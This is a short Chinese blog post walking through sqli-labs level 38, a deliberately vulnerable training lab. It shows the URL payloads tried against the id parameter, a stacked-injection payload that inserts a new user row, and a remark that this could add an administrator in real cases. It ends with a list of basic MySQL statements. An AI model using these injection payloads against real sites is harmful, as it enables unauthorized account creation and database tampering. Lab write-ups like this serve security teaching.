sql-labs 堆叠注入

这篇博客介绍了SQL堆叠注入的概念,通过第三十八题的案例展示了如何利用堆叠注入执行任意类型的数据库语句,如添加新用户。同时,文章还列举了MySQL中的常用操作语句,包括对数据库和数据表的增删改查。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

转载:堆叠注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)

第三十八题

id=1'

 说明为' '闭合

id=1'--+

id=1' or updatexml(1,concat(database()),1)--+

 id=1' union select 1,database(),2--+

报错注入无效

联合注入无效说明查询语句不行

这时就可以用堆叠注入,因为堆叠注入可以执行任意类型的语句,并且它显示了字段名username和password

例如id=1';insert  into users(id,username,password)  values('88','khaz','wuhu')--+

成功在数据库里添加khaz用户

id=88'

 

在实际情况中可以利用这个来添加管理员用户 (管理员用户和普通用户的区别可能是id值的不同)

mysql常用操作语句

对数据库的增删改查

增  create database 数据库名

删  drop database 数据库名
改  rename database 旧名 to 新名
查  show databases

创建表 create table table_name( id1 int,id2 varcher)

对数据表的增删改查

增    insert into table_name(列1,列2 ... ) values(值1,值2 ... )
删    delete from 表名 where 列名 = 值
改    update 表名 set 列名=新值 where 列名=某值

查   select * from 表名 where 字段1=‘条件一’and 字段2 =‘条件二’

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值